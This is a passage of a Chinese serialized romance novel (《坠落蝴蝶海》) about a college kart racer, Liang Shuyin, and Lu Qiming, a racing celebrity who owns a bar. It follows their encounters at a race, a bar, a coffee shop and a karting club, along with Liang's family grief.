梁舒音眼神没什么焦点地和林岚对视了一瞬,很快移开视线,仰头,把剩下半瓶水都灌了下去。 倒是陈可可,大仇得报,名目张胆得瑟起来,小嘴叭叭的,生怕别人听不见。 “挖人墙角这么厉害,怎么比赛就不行了?” “天这么热,打脸疼不疼呀?” 林岚冷笑一声,挣脱陈慎的手,头也不回地快步离开了。 被一群人围着献殷勤,梁舒音反应淡淡的,陈可可充当起她的经纪人,替她应下那些好意,或问题。 末了,旁边有个男生问她:“梁舒音同学,要不要考虑加入GD?” 她想都没想,面无表情地回了句。 “不要。” 话音落,她听到了从斜前方传来的一声低笑。 那笑像是从胸腔深处闷出的,极低极沉,透着磁性的颗粒质感。 说不清是戏谑,还是无意识发出的。 循声望去。 隔着几米的距离,她对上了一双深潭般的漆黑眼眸。 男人站在香樟树底下,个子很高,轮廓利落,眼尾微微上挑。 是会引起女生尖叫的那种长相。 他一手插兜,一手夹着烟,赛场风很大,黑T贴在他身上,隐约勾勒出腹肌线条。 男人正平静地跟她对视,目光不躲,亦不闪。 刚才旁人问她要不要加入GD,她没多想,顺着对方的问法,回了句“不要。” 此刻回想起来,才意识到语气有些不妥,听起来像是在撒娇。 难怪,会被人笑话。 但奇怪的是,这种事放在往常,她并不会在意,而此刻和男人对视,却久久没移开视线。 像是在较劲。 烈日西沉,天气忽变。 有风吹来,夹杂着雨前的潮意,扑在人身上,黏黏腻腻的。 惹得她心里也毛毛躁躁的。 男人迎着她的目光,静静凝试着她,丝毫没有挪开视线的意思。 隔空相望。 空气中有什么炙烈的东西在搅拌着,碰撞着,发酵着。 时间仿佛被拉长了。 打破僵局的是陈可可。 “是他?” “你认识?”梁舒音开口,目光却并未移开。 “不认识。” 陈可可解释说,“不过刚才那群人赌你会输,这男的倒是很笃定,说你会赢。” 大概是眼睛被日光晒得发酸,梁舒音终于收回了视线。 她没对陈可可的话有半分表示,只偏头问她:“还有水吗?” 她这话题转得有点突然,陈可可反应了下,“没了,我去给你买。” 风风火火往前跑了几步,陈可可想起门口有奶茶店,回过头,扯着嗓子问她。 “青柠水好吗?” “好。” “冰的,还是常温的?” 陈可可知道梁舒音喜欢喝热的青柠水,但刚从赛场下来,估摸着她这回该换个温度了,便多问了句。 结果还是。 “热的。” 陈可可离开后,那些围着她的记者见她一脸冷淡,便也跟着散了。 跟主办方那边确认了下成绩和奖金的事后,她抬脚去了更衣室。 还挺犟的。 陆祁溟弯了下唇角,从女孩背影上收回视线,将手头的烟摁灭了,走到几步外的垃圾桶旁,扔了进去。 转身时,他随意往赛场一瞥,便察觉到了朝他探过来的目光。 “我去车上等你。”跟秦授交代了声,他摸出墨镜戴上。 观赛的人已经在陆陆续续往外走了,他低着头,随着人潮走到门口。 正要抬脚跨出大门,旁边有人掉了瓶水,滚到他脚下,他看了眼,下意识弯腰去捡。 递给对方时,那女生盯着他,呆了几秒,而后发出一声响彻云霄的尖叫。 “陆祁溟?!” 一石激起千层浪。 周围一圈人都朝他望了过来。 “WK,大神还真来了。” “我刚找了一圈都没找到,原来躲在这啊。” “天啊,还是那样帅...” “他是不是打算重回赛场了?” 有人窃窃私语,有人红 6. 酒吧 《坠落蝴蝶海》全本免费阅读 没多久,陆祁溟就看见那抹纤细的绿影,从楼下大门走了出去。 大概是太热了,她随手撩起长发,绑了个高马尾。 脖颈修长,脊背笔挺,像某种根茎很长的植物,莫名透着一股子倔。 很快,那身影便没入繁茂的香樟树下,在树叶缝隙中穿梭着。 随着光点,时隐,时现。 直到左拐出了赛场大门,彻底消失在他视线里。 他偏过身,手肘侧靠在窗边,戏谑一笑,眼底冷淡。 “陆老板,你过生日,我回不回来又有什么重要的呢?” 说完,他掐断电话,推开面前那扇门,也踩着楼梯下去了。 华灯初上,一场来去匆匆的暴雨刚落下帷幕。 梁舒音洗完澡,就瘫在了床上。 精疲力竭,什么也不想思考,然而,一闭上眼,脑子里却莫名跳出个画面。 一双男人的眼睛。 那眼尾微微上挑,眼神幽微,带着一丝审慎的意味。 说不清是戏谑,还是在认真打量她。 接着画面一转,是他靠在走廊尽头,半隐在光中,缓缓转过头,直直盯着她的样子。 她知道他。 陆祁溟。 她深吸了口气,将脑子里的画面赶走,也许是太累了,不知不觉,竟迷糊了过去。 直到被一通电话吵醒。 她摸到床头的手机,拎过来,半睁着眼,瞅了下。 一个陌生的号码。 “喂?”她躺在床上,将电话贴在耳边,嗓音还带着刚醒来的慵懒。 “MATA酒吧?” 梁舒音猛地睁开眼,从床上坐了起来,“好,我马上过来。” 陈可可在MATA喝醉了,服务员打电话过来,让她去接。 看了眼时间,已经晚上十点了。她迅速换了身衣服,打车过去了。 MATA是一个格调很高的酒吧,看起来消费不低,也不知道陈可可一个不大喝酒的人,怎么跑这儿来了。 来不及多想,她进门后便开始找人。 这里的生意很好,几乎满座。 视线在人群中搜寻了两分钟,扫过左手边的吧台时,忽然顿住。 她看到了一张熟悉的脸。 男人坐在高脚凳上,手头捏了个水晶杯,正在和旁边的人聊天。 他一只腿收在凳上,一只腿大剌剌踩在地面,那腿实在太长,足足占了两个人的位置。 握着酒杯的手修长,骨节分明,食指正漫不经心敲击在杯壁上。 也不知旁边的人说了什么,他唇角弯了下,而后仰头,抿了口酒。 喉结微微滚动,鲜红液体从剔透的水晶杯中,滑入他的唇中。 梁舒音正要转开视线,男人却在此时朝她这里看了过来。 眼风在她身上落下,漫不经心地,又轻轻带过,继续跟左侧的人聊天。 像是看见了她,又像是没看见。 她移开视线,抬脚去了里头。 MATA的吧台是环岛型设计。 她在吧台另一侧找到了醉得不省人事的陈可可。 叫了两声,趴在吧台上的人终于有了反应。 “音音,你怎么来了?” 陈可可醉眼迷离,双手搂着她脖子,呵呵笑了两声,突然唇角一撇,笑脸变哭脸。 “音音,我好像...有那么点儿...难过。” 说完,人就彻底醉倒在她怀里了。 “多少钱?我替她付款。”梁舒音对一直在照顾陈可可的那位服务员说。 “不用了,一个叫陈慎的先生已经付过了。” 陈慎? 难怪服务员会打给她。 原来是陈慎给的电话。 道了谢后,梁舒音搂着人往外走。 快到门口时,一个高大的寸头男挡住了她的去路。 浓浓的酒精味扑面而来,看样子,应该没少喝。 “美女,一起喝一杯呗。” 她没理他,绕过对方,径直离开。 “嘿,跑什么。”男人拽住她手腕。 男女力量过于悬殊,那人都没怎么用力,她就被轻易拽了回来。 “放开。”她冷眼看着对方,低斥道。 “哟,脾气还挺大的。” 男人不怀好意地盯着她,手头的酒杯在她胳膊挨了下,“多少钱,开个价。” “你说什么?”她皱眉,以为自己听错了。 “你们这些长得漂亮的女大学生,不都喜欢给有钱人当情人吗?” 男人凑近了她,“不如跟着我,想要包还是车,我都——” 话音未落,一杯酒朝他脸上泼了过去。 梁舒音握着空杯,因为怒火中烧,胸口还在剧烈起伏着。 “大哥,有病就去医院,别在这儿丢人现眼。” 男人被泼得酒醒了不少,反应过来,狠狠抹了把脸,目露凶光。 “臭婊子,敬酒不吃吃罚酒!” 他抬手,便要朝她扇过来。 梁舒音下意识偏头,将陈可可护在怀里。 巴掌却没落下来。 身后的光黯淡了几分,一股热气靠近,松木香混合酒精的味道覆盖了刚才的那抹恶臭。 察觉到什么,她抬头望去。 一只青筋蜿蜒的宽大手掌,替她将那个巴掌拦截在了半空中。 紧接着,冷戾又戏谑的嗓音在她头顶响起。 “在我的地盘闹事?” 陆祁溟站在她身后,胸膛几乎快贴近她后背。 她又瘦又窄,他身形宽大,她像是被他裹进了他的领地范围内。 大概是身高差和体型差的缘故,他只是那样站在后面,就给她带来了生理上极强的压迫感。 她微偏了头去看他。 男人侧脸冷硬,下颌线因为绷得很紧,显得异常锋利。 他紧抿着唇,一双眼尾上挑的眼没什么表情,却莫名让人胆寒。 手腕快被掰断了,闹事的男人痛得呲牙咧嘴,张口求饶。 “陆老板,松...松手。” 他知道眼前的人是酒吧老板,也知道他背景深厚,脾气不太好,从来不哄着客人。 听见这话,陆祁溟没松手,反而还加大了力道。 在对方痛苦的求饶中,他微低头颈,看着面前发怔的女孩。 “还不走?” 梁舒音盯着刚才碰过她的那只手。 明明那么强壮的一个人,落到陆祁溟手中,却毫无反抗的余地。 坦白说,她还真有点担心,怕那只手会被陆祁溟折断。 毕竟事情是因她而起的。 但她也不会为一个流氓求情。 回过神来,她仰头看了眼陆祁溟,目光比下午在赛场上,稍微柔和了些。 “谢谢。” 一句多的话也没有,她搂着半梦半醒的陈可可,出了酒吧大门。 走到街边,她摸出手机,正要打车,一辆豪车缓缓停在她面前。 司机下车,姿态恭敬,“梁小姐,老板让我送你回去。” 老板? 反应了两秒,她才意识到了司机口中的老板是谁。 “不用了,我可以自己打车。” “梁小姐别误会,老板这样做,只是为了弥补刚才的亏欠,毕竟让您遇到糟心的事,也是因为酒吧管理不当。” 梁舒音点点头,但还是婉拒了,“谢谢,不过真不用了。” 一辆空出租车恰好开了过来。 她招手,司机停下,她扶着陈可可上了后座。 -- 梁舒音走后,陆祁溟并没放过那个男人,他将对方拖去了酒吧的杂物间。 “你知道我生平最讨厌哪种人吗?” 他一脚踩在矮凳上,微偏了头,眼神冷厉地盯着那人。 “陆老板...我...”寸头男痛得满头大汗,连个完整的句子也说不出。 陆祁溟欣赏着他痛苦的表情,慢条斯理说出他的答案,“手不干净,脑子也不干净的人。” 话音落,他掌心往下一压。 紧接着,“咔擦——” 不知是骨骼错位,还是经脉断裂的声音。 寸头男一声惊呼,险些晕厥。 面前很快积起了一滩水,寸头男的冷汗。 见人已经瘫软,陆祁溟松了手,“以后别出现在MATA。” 他从皮夹里掏出一张卡,右手食指和中指夹着,扔在瘫软在地的男人身上。 “医药费。” 眼底的漠视和鄙夷,几乎可以碾碎一个成年男人的自尊心。 去卫生间仔仔细细洗干净手,陆祁溟揉着发酸的手腕回到吧台。 刚落座,就被秦授揶揄,“怎么不好事做到底,亲自把人姑娘给送回去?” “你觉得,她像是会上我车的人?”他招呼人拿了瓶酒过来。 想起刚才梁舒音泼酒的泼辣样,秦授耸肩。 “不太像。” 陆祁溟接过酒,往水晶杯里倒了小半杯,捏着杯口,眼睛盯着碎钻浮动的酒面, 微晃了下。 其实,她刚被寸头男堵住时,他就看见了,想过去解围,但发现她丝毫也不慌张,便顿住了脚步。 他实在好奇,以她的脾气,会怎么处理这件事。 于是作壁上观,静静看着。 只是没想到,会是那样直接。 陆祁溟微微摇头,低笑一声,一口气把杯中的酒灌完了。 这时,司机老张从门外进来。 “老板,那位小姐不让我送,已经打车离开了。” 老张紧张地盯着陆祁溟,生怕被骂做事不周到。 然而老板却像是预料到了似的,没多说什么,只低笑了声,摆手道:“去忙吧。” 进入三伏天后,虞海的热浪,一日高过一日。 昨晚空调坏了,风扇力度不够,梁舒音整晚都在床上翻来覆去,粘腻的汗就没干过。 早上一醒,她就联系了修空调的师傅。下午要去咖啡店兼职,她约了个加急的号。 半小时后,预约的林师傅上门了。 陈可可 7. 送她 《坠落蝴蝶海》全本免费阅读 西郊音乐园区,B区106。 签完合同,陆祁溟拿下了这栋楼,战线比预计的时间长了些,但价格还算满意。 不过,这个价格,倒是让秦授很意外。 他没想到,陆祁溟能用比预期还低了三分之一的价,把这栋楼收入囊中。 低价拿下这里,对陆祁溟而言并不难,秦授佩服的是他反其道而行的商业洞察力。 人人都说这里要凉,他却笃定了这里的前景。 当然,他相信陆祁溟的判断。 毕竟,几年前,陆祁溟刚从美国毕业回来时,便虎口夺食,替陆海拿下城南那块人人争抢的地。 大佬间互相提防,到最后,谁也没想到会败给这个初出茅庐的后辈。 一时间,他名声大噪,登上虞海商业新闻头条,成为备受瞩目的二代继承人。 这两年,他离开陆海,做的都是些在他父亲看来,小打小闹的事。 说不上是自我放逐,还是在跟陆老爷子赌气。 但秦授知道,他骨子里没变,迟早有一天,他会重新回到属于他的世界去。 走完协议,老王当即找了人过来搬货。 他女友小青跟在一旁,见大家搬货辛苦了,买了一堆冰饮回来,招呼大伙去拿。 随后,她亲自拎起其中一瓶,走到陆祁溟面前,白脸上多了抹红晕。 “陆老板,喝水。” 陆祁溟正在低头发信息,也没看她,“谢谢,我不喝冰水。” 小青不死心,拧开瓶盖,递到他胸前。 手机里来了通电话,陆祁溟正要接起,没注意她的动作,手一抬,打翻了那瓶水。 衣服被黏糊糊的东西弄湿,陆祁溟眉头下压,不悦地看向对面的女人。 那人却拿了纸巾,伸手过来替他擦,他抓住她手腕。 “这位小姐,自重。” 三伏天,他漆黑的眼眸冷冷的,像结了冰。 没想到这个富二代如此不解风情,小青一怔,脸忽红忽白。 她微张了嘴,试图解释,却被他冷戾气场压得说不出话。 都是成年人,彼此的心思一目了然。 陆祁溟虽然有些不耐烦,但也不想给老王找麻烦,他松了手,转身,上了楼。 这间店面积很大,三层楼加起来,好几百平米。 他盘算好了,一楼酒吧,二楼复合型娱乐空间,三楼留给自己人。 房间密闭太久,空气污浊,他在二楼转了一圈,走到南向窗边,推开了窗。 风挺大的,只是夹杂着闷意,热烘烘的,像开了暖风机。 他将窗户推到底,侧身靠在围栏边,偏头点烟。 视线下移,不经意就撞见了对面咖啡店外,一抹熟悉的纤瘦身影。 女孩穿着黑T黑牛仔短裙,头发绾在脑后,戴了顶店员的灰色帽子。 她正弯腰给咖啡店门口的天堂鸟浇水,接着,又搬了张简易户外桌出来。 木桌看起来不轻,她细胳膊细腿的,力气倒是不小。 摆好桌椅后,也没歇口气,又将遮阳伞撑开,立好。 大概是累坏了,忙完后,她就站在原地吹风,好半天没动。 “这不是虞大那个学霸吗?”秦授从身后走过来,手肘撑在围栏上,朝对面打量。 陆祁溟掀眼看他。 “你还不知道吧?这姑娘那天比赛出圈了,圈里好多人都在打探她的消息。” “有人说在虞海大学见过她,没想到这么酷的姑娘竟然还是个学霸。” 陆祁溟弹了弹指尖的烟灰,“你什么时候有这种刻板印象了?” “会骑车,会泼酒教训流氓,就一定是个学渣?” “我怎么想不重要。” 秦授抱着胳膊,瞥他一眼,“重要的是,这姑娘在学校应该不缺人追,也不知道有没有男朋友了。” 陆祁溟吸了口烟,将指尖的那点红摁灭在烟灰缸里,转身就要离开。 “去哪儿?”秦授问。 “买咖啡。” 西郊音乐公园,是今年五月开的园。 园区主打音乐产业,里头有好些livehouse、音乐工作室,会定期举办各种路演活动。 但地点有些偏,还没真正热闹起来。 园区挨着虞大,原本靠着学生群体,生意勉强看得过去,但一放假,简直门可罗雀。 老板是梁舒音系里的学姐,简兮。 简兮毕业后,就一边当自由撰稿人,一边开起了这间咖啡店,用写稿赚的钱来充盈这间理想的羽翼。 暑假人少,就她和另外个同事轮流过来,一人一天,每天时间也不长,从下午一点到七点就收工。 学姐说了,虽然赚不到什么钱,但总归得开门,不能让别人以为这间咖啡店倒闭了。 至于更长远的生意,她也摸不准,只能硬着头皮往前再走走,半年后再不行,她就闭店。 任何事情,都需要时间来验证。 她不急于下定论。 当然,前提是她丰厚的稿费,能维持这个亏本买卖。 做好准备工作后,梁舒音就去点单台站着。 十几分钟后,来了第一拨人,是在这里排练的某个乐队,点了几杯外带的。 她动作麻利地做完,陈可可负责帮她打包,忙完后,又好长时间没了动静。 她拿了本推理小说出来看,陈可可坐在一旁,翻着漫画。 “哎你说对面那冤大头,为什么要在这么凉的地方开酒吧?”陈可可吸了口奶茶,随口问道。 “你确定人家要开酒吧?” 梁舒音边跟陈可可讲话,边一目三行扫着。 她看书有个坏习惯,每到快收尾时,就会莫名加快速度,像是在急着完成一个任务。 陈可可放下奶茶,“老王亲口说的。” “他这都跟你说?” “这有什么。他还说了,他要带着他那个小女朋友出国了。” 梁舒音还记得,老王第一次过来买咖啡,陈可可也在。 她是个自来熟,三两句之后就跟老王聊上了。 当时老王带了个年轻美女过来,看起来也就二十出头。 她一开口就是,“王老板,您女儿长得跟您真像,这浓眉大眼的。” 话一说完,那女的脸都黑了。 老王也愣了下,尴尬地挤出一丝笑,“她是我女朋友,小青。” 之后,老王过来买咖啡,梁舒音就再没见过小青了。 两人闲聊了一会儿,门口响起脚步声。 梁舒音合上书,站直身体,瞬间切换成工作状态。 看清来人时,她微怔了下。 “怎么是你们?” 陈可可从高脚凳上跳下去,主动招呼对方。 她是个自来熟,见过这两人一面,且印象不错,便自动将对方划分到熟人阵列。 梁舒音面色无波,礼貌开口:“您好,请问你们需要喝点什么?” “两杯美式。” 陆祁溟走到点单台旁边,盯着她,“加冰。” 梁舒音也不看他,点完回了句“好的,一共50块,这边扫码”,就去操作台做咖啡了。 陆祁溟拿着手机扫码付款,瞥了眼被她放在一旁的书,走到落客区,找位置坐下。 在她认真做咖啡时,陈可可已经跟对方聊上了。 “你们是过来玩儿的吗?”她咬着吸管问。 秦授下巴朝对面支了下,“谈生意。” “原来你们就是那个冤大头...” 意识到说错话,她忙改口,“我的意思是,原来你们那么有钱啊,一来就买下了三层楼。” 瞥了眼旁边低头发信息的男人,秦授纠正她,“不是我们,是他。” 陈可可好奇地看向陆祁溟。 原来这人不但是赛车圈里的大神,还是个富二代。 她想起群里那些打听他的八卦,在心里为她们默了哀。 有钱有颜的二代,性格似乎也很倨傲冷淡,那些人就算拿到他电话,估计也没戏。 “你们呢?” 秦授有意无意问了句,“暑假不去实习,不跟男朋友出去完,来这儿做兼职呢?” “我们下学期才大三,实习什么呀?” 陈可可低头吸了口奶茶,“而且,我俩都是单身,自由着呢。” “理科生?” 旁边沉默的人忽然开了口。 陆祁溟一直没讲话,陈可可以为他压根就没听他们聊天。 他此刻突然发问,对上他的眸子,她懵了一瞬。 他眼尾上挑,极为好看,但眼睛里有种浑然天成的冷淡,和随之而来的压迫感。 哪怕他语气十分礼貌,被这样一双眼盯着,陈可可都有些紧张了。 甚至冒出个莫名其妙的想法—— 大概只有气场同样强大的梁舒音才能跟他抗衡,毫不畏惧地跟他对视。 “不是啊,我们是汉语言文学专业的。”她回他。 “什么?”秦授怀疑自己听错了。 陈可可被他这句反问冒犯了,把奶茶往桌上一杵,“中文系,没听过吗?” 秦授来了兴趣,“你们是学文学的?” “怎么,不像吗?”陈可可朝他翻了个白眼儿。 “像,怎么不像呢,您这一看就是才女。” 秦授赔笑道:“只是没想到你朋友这么酷的人,也是搞文学的。” 陈可可嘟囔了声,“刻板印象。” 这话怎么有点耳熟? 今天真是邪门了,他竟然被眼前这两位相互之间并不熟悉的人,骂了同一句话。 关键是,他们骂他,还是为了同一个人。 一个什么都不知情的,叫梁舒音的姑娘。 秦授轻笑一声,也不生气,从兜里摸出一张名片给她。 “陆老板的地盘,我负责管理,空了过来玩,给你们打五折。” “竞速卡丁车俱乐部...行啊。” 陈可可目光下移,瞧见名片右下角的名字,没忍住,噗嗤一声笑了出来。 “秦授?” 这名字是秦授曾祖父起的,老一辈严肃正经,没那种龌龊的思想。 他顶着这个别具风格的名字,打小被嘲笑,早免疫了。 意识到不礼貌,陈可可止了笑,“授人以渔,挺好的。” 秦授瞥她一眼,“中文系的,就是会说话。” -- 梁舒音在这头认真做咖啡,全然不知,某些私人信息已经被好闺蜜给卖了。 做完两杯美式,她将东西放进托盘,陈可可就噔噔蹬跑过来,一脸兴奋。 “音音,对面那个酒吧是陆祁溟开的哎,还有这个——” 她摸了张名片出来,拍在点单台上。 “这个俱乐部也是车神开的,咱们改天空了去玩玩呗。” 梁舒音抬头看了眼。 坦白说,不管空不空,她都不想去 8. 雨夜 《坠落蝴蝶海》全本免费阅读 “嗯?” 听见自己的名字从男人唇尖溢出,梁舒音转头看他,有一瞬的游离。 男人咬字字正腔圆,胸腔共鸣足够,还包裹了一层他独特的、漫不经心的沉厚气息。 像雨夜,深沉又朦胧。 陆祁溟从后视镜里盯着她,“到了。” 对上他的眸子,她轻声回答:“好。” 唯一的那把伞给了陈可可,她只能拿包顶在脑袋上,关上车门前,侧身跟他说了句。 “谢谢。” 绕过车前时,陆祁溟却叫住了她,“等等。” 他从车里找了把黑色折叠伞,打开车窗,伸手递给她。 “伞拿着。” 她顿了下,盯着那把伞,却没伸手去接,“不用了,我进去也就一两分钟的路程。” 陆祁溟的电话响起,他低头去找手机,拿着伞的那只手却没收回。 雨水打在他递伞的手腕上,青筋凸起的手臂很快被淋湿,腕表上也沾了水。 然后,接电话的人一边应答着,一边看着她。 似乎她不接伞,他就会一直拿着,任由自己的手臂被雨水浇着淋着。 他想做好事,却让她来承担这种罪恶感。 坦白说,这样的强势让梁舒音不太舒服,甚至激起了她想一走了之的逆反心理。 只是雨越来越大,哗哗坠地,头顶的包也几乎湿透。 再僵持下去,除了让两个人都淋雨,也没什么太大的意义。 她终于伸了手,“谢谢。” 东西送出去了,陆祁溟的视线却没离开她。 像是还有什么话要交代。 “生日又不是忌日,为什么非要我回来?”他稍稍偏了头,盯着她斜前方的霓虹。 听见他这句戏谑嘲讽的话,她莫名有些烦躁。 一刻也不想多呆了。 跟他道了别,不管他听没听到,也没问这伞要怎么还,她转身,撑开伞,快步朝小区大门走去。 望着那个突然离去的背影,陆祁溟下意识压了压眉头。 是他的错觉吗? 她刚才似乎隐隐有些不耐烦。 他打开车前柜,从里头摸出一盒烟,抖出一根,也不点燃,就咬在唇间。 不耐烦... 也不知道想到什么,他微不可察地弯了下唇,闷出一声若隐若无的低笑。 一只高冷狡黠的猫,肯伸爪挠别人,总比冷着脸,一副无懈可击的样子好。 只是,这笑贴着电话传过去,那头的人不明所以,被他这肆无忌惮的态度惹毛了。 “行,那就等你老子入土了再回来。” 电话里的人骂得正起劲,他却态度一变,咬着烟,情绪稳定地回复了句。 “行,回来。” 挂了电话,他再度抬头望去,雨夜中那个挺直的背影,在大门口一闪。 倏忽不见。 回到家,梁舒音将雨伞撑开,晾在阳台上。 阳台窗户没关好,进了些雨水,她拿了拖把去收拾。 胸口那股闷气还没消,她拖地时,下手没个轻重,拖把撞到木架。 “哐当”一声,木架晃动,边上那盆茉莉坠落下来。 花盆碎了。 这一砸,她倒是气顺了。 她盯着一地碎片,正走神,兜里的电话震动了下。 是顾言西发来的信息。 问她在家没,吃没吃晚饭。 她放下拖把,敲字回他:“刚到家,还没吃。” “我二十分钟后过来,别点外卖。” 她知道顾言西什么意思。 要给她送吃的过来了。 收了手机,她蹲下,在萦鼻的香气中,从一地狼藉中捡起那束茉莉,抖了抖根须上的土。 小时候她打碎了花盆,爸爸从来不会责骂她。 他会说,“音音你看啊,碎的只是外表,它根系强壮着呢,只要根还在,它就能活得好好的。” 她仔细瞧了瞧这颗茉莉。 只是失去了保护罩而已,根自然是没伤到的,就连开出的花苞,都一个没少。 她起身,将茉莉连土带花,移植到新盆里,收拾了碎片,又去给顾言西泡了壶柑橘茶。 晚上八点一刻,顾言西拎着大包小包,准时出现在了她家门口。 他换了鞋,走到餐桌旁,将几个食盒放在桌上,又拎着其他东西去了厨房。 “你不用加班么?” 梁舒音拉开餐厅的椅子,将食盒一一打开。 西兰花炒虾仁,糖醋排骨,冬瓜汤,都是她喜欢的家常菜。 “今天休息,不然你哪来这些好吃的。” 顾言西将牛奶和鸡蛋放进冰箱,扭头问她,“如果我不来,你今晚又打算点外卖?” “对呀。”她面不改色,理直气壮。 “然后再吃出急性肠胃炎,半夜去医院挂水是吧?” “顾言西,这是小概率事件。” 意思是,他没必要回回都拿这件事数落她。 “而且,做饭这件事需要天赋。”她看他一眼,“我没你这种天赋。” 她不是没尝试过自己做饭。 但买菜,洗菜,切菜,炒菜,就像个巨大的工程,每次忙完后,她都觉得浑身像被扒了层皮。 于她而言,性价比太低。 顾言西无奈地耸了耸肩,交代说:“给你包了50个混沌,记得吃。” 她点头,嘴巴难得甜了一回,“谢谢舅舅。” 虽然早习惯了她“没事顾言西,有事舅舅”,但顾言西对此还是受用的。 “这还差不多。” 将冰箱里的东西规整好后,顾言西走过来,拉开她对面的椅子,给自己倒了杯柑橘水。 “比赛比得不错。” 他早就看了网上的那些视频,只是最近忙得像陀螺,也没空过问她这事儿。 她拿了个虾剥着,“嗯,替你省下了一笔钱。” “你看见陆祁溟了?” 他说话时候在喝水,嗓音含糊,她没听清。 “什么?” 顾言西将杯子往桌上一放,“陆祁溟你不认识吗?听说现场很多小姑娘追着他跑。” 梁舒音低头咀嚼着,没回他。 几秒后,忽然开口,“你很欣赏陆祁溟吗?” “嗯。” 顾言西一顿,指节有一下没一下扣击在桌面,“如果当年我们都没退圈,彼此都会是赛场上最强劲的对手。” 梁舒音点点头。 这一点,她是认可的。 但不知想起了什么,她低喃了句,“可惜没如果。” 顾言西一怔。 知道她想起了什么,他起身,越过餐桌,长手伸过来摸她脑袋。 “所以啊...” 以为他会说什么大道理,结果只是一句。 “所以,你要好好吃饭。” 她捧着碗,弯了下唇角。 是啊。 离开的人已经离开了,而留下的人却不能不好好生活。 因为,日子还得过下去。 两人闲聊着,手机在桌上震动起来,她拎起来看了眼,神色微顿。 “怎么了?”对面的人注意到她的不对劲。 她将手机反扣在桌上,冷淡道:“陆延盛生日,我妈让我过去。” “你不想去。” “你觉得我该去?”她从顾言西表情中读懂了潜台词。 “有些事已成事实,早晚需要面对,你已经逃避两年了。” 顾言西盯着她,一脸认真,“除非,你真打算和你妈断绝关系,以后都不用跟陆家人打交道了。” “那你呢?” 她放下筷子,反问对面的人,“这两年,你不也一直对她避而不见?” “我跟你不一样。”顾言西看着她,“况且,她未必想见我。” 梁舒音知道他的意思。 顾言西其实跟她并无血缘关系,他跟母亲舒玥是重组家庭、异父异母的姐弟。 她出生那年,舒玥父亲跟顾言西母亲车祸意外去世,八岁的顾言西没了妈,从此就跟着舒玥。 但舒玥工作忙,顾言西便跟她一样,都是被梁蔚带大的。 某种程度上说,梁蔚不仅是他姐夫,更像是他父亲。 梁蔚的死是他心里的一根刺。 他没办法跟舒玥反目成仇,没办法恨她,只能避而不见。 因为他知道,一旦见面,他一定会口不择言,伤人伤己。 而舒玥,大抵也是不愿意见到他的,同样因为无法面对。 见梁舒音沉默不语,顾言西张了张嘴,稍作犹豫后,缓缓开口。 “有件事我还是得告诉你。” “最近,我在医院看见过你妈,不止一次。” 顾言西走后,她在餐厅里呆坐着。 也不知过了多久,她终于拿起手机,给舒玥回复了过去。 “好,我来。” -- 陆延盛生日那天,也是梁蔚的忌日。 去陆家前,梁舒音先去了城郊的墓园。 舒玥派了人过来接她,她让司机把车停在墓园附近,她下了车,自己走路过去的。 跟爸爸聊了会儿天,告诉了他自己的近况,临走时,她问他。 “我今天要去妈妈那儿,爸爸,你会怪我吗?” 天空是湛蓝的,有飞鸟飞过。 她最后看了眼墓碑,离开了墓园 9. 闯入 《坠落蝴蝶海》全本免费阅读 梁舒音玩过不少地方的卡丁车,但从没来过竞速俱乐部,因为离家和学校都很远。 不过,她倒是听过竞速的大名。 两年前刚开业时,声势浩大,不少网红都去打卡,溢美之词层出不穷。 除了赞扬竞速场地大、设施先进、体验感极佳,谈论得最多的,是竞速的老板。 帅。 不是普通的帅。 是惨绝人寰的那种不要命的帅。 但网上露出的图片,要么是黑T黑裤的背影,要么是下颌线流畅的侧脸,却没有一张正面照。 由此,那些人得出结论:老板高冷,不易接近,这又为竞速蒙上一层神秘的色彩。 硬件好,故事性又足,竞速一开张,就成了虞海最火的卡丁车俱乐部。 她跟陈可可是下午过去的。 车上,她在手机上查着竞速的室内布局,陈可可在旁边开口。 “你看什么呢,这么认真?” 竞速不在市中心,一路过去,没有鳞次栉比的高楼,只有车窗外,串联成线的绿茵。 梁舒音收了手机,盯着车窗上自己的影子,“随便看看,了解下竞速的情况。” “嗯。”陈可可在手机上噼里啪啦敲字,“秦授说会带我们参观。” 她转过头,“你跟他什么时候这么熟了?” “没有啦。” 陈可可收了手机,靠过来,手挽着她胳膊,脸贴在她身上。 “就是没事的时候,随便聊聊。” 她那边的窗没关好,风从缝隙吹进来,吹乱她的刘海。 光点跃进,长长的睫毛在眼底投下一抹阴影,忽明忽暗。 大大咧咧的人,也有敏感细腻的时候。 “音音,你别担心啦,我才跳出一个火坑,不会再跳进另一个火坑的。” 即便刚刚在网上刷了不少高清美图,但到了现场,两人还是被震撼了。 除了近万平的室内室外双层赛道,还有VR游戏,模拟赛车等多重娱乐分区。 就连咖啡甜品区,也都是按照轻奢调性打造的,一看就烧了不少钱。 瞧见这阵仗,陈可可兴奋得杏眼瞪圆,“天啊,你说我们怎么没早点来这地儿。” “进去吧。”梁舒音倒是很淡定。 秦授过来招呼她们,在前台登记购票后,他亲自带着俩人参观场内各个区域。 现场人气很旺,途径之处,有不少网红博主正架着手机直播。 逛了一圈,秦授带她们去领了装备,而后将人引至培训室。 上场前,每个人都得先接受培训,这是既定的规则。 梁舒音对规则很熟,但陈可可是头一回尝试卡丁车,便拉着她一起去了培训室。 室内坐着三个女生,见又来人了,不约而同抬眼打量她们,视线纷纷落在了梁舒音身上。 冷淡的、友好的、意味不明的。 她装作没看见,低头刷着手机。 “找个位置坐吧。”秦授抬腕瞥了眼时间,“培训的教练马上到。” 陈可可随口问了句,“教练是陆祁溟吗?” 秦授睨着她,一副你想多了的表情,“老陆从来不给人培训。” 更何况他现在回家了,人根本不在这里。 陈可可耸肩,“哦”了声。 也是,大神通常都隐于幕后,怎么可能会出来露面,而且还是这种简单枯燥的活儿。 等了没两分钟,门口就传来脚步声,是马丁靴踩在地上发出的结实动静。 一个穿着黑T的男人,手上摊放着一叠资料,从门口走了进来。 他低头翻页,腕间一只深蓝手表,动作间,小臂上凸起的青筋格外明显,下颌线即便在这个角度,依旧清晰流畅。 男人走进教室,终于撩起眼皮,随意地朝座位席扫了眼。 梁舒音从手机上抬眼,恰巧就撞见了一道再熟悉不过的目光。 冷淡,却又无比锋利。 每次对上,都有种莫名较劲的感觉。 “哎,不是说陆祁溟从不给人培训的吗?”陈可可拱了拱梁舒音的胳膊。 “可能是下面的人忙不过来吧。”她收了手机,淡然道。 是吗? 陈可可直觉另有原因,但瞥了眼身边的人,见她神色淡淡的,似乎对眼前的男人没半分好奇,也就没再多问什么。 